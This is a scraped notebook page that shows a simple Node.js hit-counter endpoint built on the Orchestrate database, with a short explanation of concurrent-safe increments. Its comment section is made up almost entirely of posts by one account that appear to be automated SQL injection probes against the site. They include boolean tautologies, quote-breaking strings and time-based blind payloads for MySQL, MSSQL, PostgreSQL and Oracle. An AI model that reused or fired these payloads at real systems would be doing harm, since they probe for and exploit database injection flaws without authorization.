Would you like to clone this notebook?

When you clone a notebook you are able to make changes without affecting the original notebook.

Cancel

Endpoint Demo

node v4.9.1
version: 1.0.0
endpointsharetweet
The world's simplest hit counter, using a hosted database service called Orchestrate: https://orchestrate.io
var db = require('orchestrate')(process.env.ORCHESTRATE_KEY) exports.tonicEndpoint = async function(request, response) { await db.newPatchBuilder("counts", process.env.TONIC_MOUNT_PATH) .upsert(true) .init("count", 0) .inc("count") .apply() var hits = await db.get("counts", process.env.TONIC_MOUNT_PATH) response.end(hits.body.count.toString()) }
We've set our Orchestrate API key in our environment variables, which we use to initialize the db at the start. Then, on every request, we simply increment the count. Finally, we retrieve the current count and return it. It's important to do the increment this way, so that concurrent updates aren't lost. We then read back out the current value, which may have been updated by someone else already, but that doesn't much matter. The count is stored on a document with an ID matching the "TONIC_MOUNT_PATH" environment variable, which is the URL of this document.
Loading…

25 comments

  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    1
  • posted a month ago by xsjybldb
    -1 OR 2+686-686-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1 OR 2+457-457-1=0+0+0+1
  • posted a month ago by xsjybldb
    -1' OR 2+522-522-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    -1' OR 2+475-475-1=0+0+0+1 or 'cHZrpCd7'='
  • posted a month ago by xsjybldb
    -1" OR 2+906-906-1=0+0+0+1 --
  • posted a month ago by xsjybldb
    if(now()=sysdate(),sleep(15),0)
  • posted a month ago by xsjybldb
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • posted a month ago by xsjybldb
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • posted a month ago by xsjybldb
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • posted a month ago by xsjybldb
    -1; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -1); waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    1 waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    soUO2nZo'; waitfor delay '0:0:15' --
  • posted a month ago by xsjybldb
    -5 OR 935=(SELECT 935 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -5) OR 565=(SELECT 565 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    -1)) OR 412=(SELECT 412 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    MawbvGfc' OR 334=(SELECT 334 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    BSgISUHs') OR 970=(SELECT 970 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    kOjh8Tmx')) OR 617=(SELECT 617 FROM PG_SLEEP(15))--
  • posted a month ago by xsjybldb
    1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • posted a month ago by xsjybldb
    1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
  • posted a month ago by xsjybldb
    1'"
  • posted a month ago by xsjybldb
    @@q5I9b

sign in to comment